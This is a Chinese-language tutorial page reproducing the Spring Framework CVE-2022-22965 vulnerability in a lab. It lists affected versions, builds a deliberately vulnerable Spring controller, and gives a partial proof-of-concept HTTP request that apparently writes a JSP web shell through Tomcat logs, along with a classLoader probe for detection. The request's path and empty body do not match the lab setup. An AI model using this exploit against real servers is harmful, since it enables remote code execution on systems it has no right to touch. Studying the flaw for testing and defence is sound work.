栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

CVE-2022-22965 漏洞复现学习

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

CVE-2022-22965 漏洞复现学习

一、漏洞利用条件
  • JDK 9+
  • Spring 及其衍生框架
  • 使用Tomcat部署spring项目
  • 使用了POJO参数绑定
  • Spring Framework 5.3.X < 5.3.18 、2.X < 5.2.20 或者其他版本
二、环境搭建
  • Java 靶场
  • JDK 11(必须9及9以上)
  • Tomcat 8
1. 首先需要个实体类
public class HelloWorld {
   private String message;

   public String getMessage() {
       return message;
   }

   public void setMessage(String message) {
       this.message = message;
   }
}
3. 再写个controller传参为这个实体类型
@RestController @RequestMapping("/spring")
public class SpringRce {
   @RequestMapping("/rce")
   public void vulnerable(HelloWorld model) {
   }
}
4. 把项目打成war包放到Tomcat中部署运行

FIle — Project Structure

然后Build — Build Artifacts生成war包,放到Tomcat的webapps目录下,启动Tomcat

三、漏洞利用 1. 发送POC请求包

第一个包是通过Tomcat日志文件在webapps/ROOT下写一个jsp的shell

POST /java-sec/xstream HTTP/1.1
Cookie: JSESSIONID=0873A909194640CBAF9EEBC2283C6C97; XSRF-		TOKEN=1d91ead1-6fa9-4f1d-b8c9-5cf57dc020b8; remember-me=YWRtaW46MTY1MjUxMTU2MjQ1MTo2M2U2NmNkZjdkOWNhZDAyMzMyMjhhMjAwN2NiZTc4YQ
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,**;q=0.8
Upgrade-Insecure-Requests: 1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Accept-Language: zh-CN,zh-Hans;q=0.9
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 0

四、测试中应用

黑盒盲打通过传一个classloader下的属性:class.module.classLoader.defaultAssertionStatus=123看服务端是否报异常

白盒的就是要满足上面的利用条件,或者找到POJO传参的controller再去尝试

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/847521.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号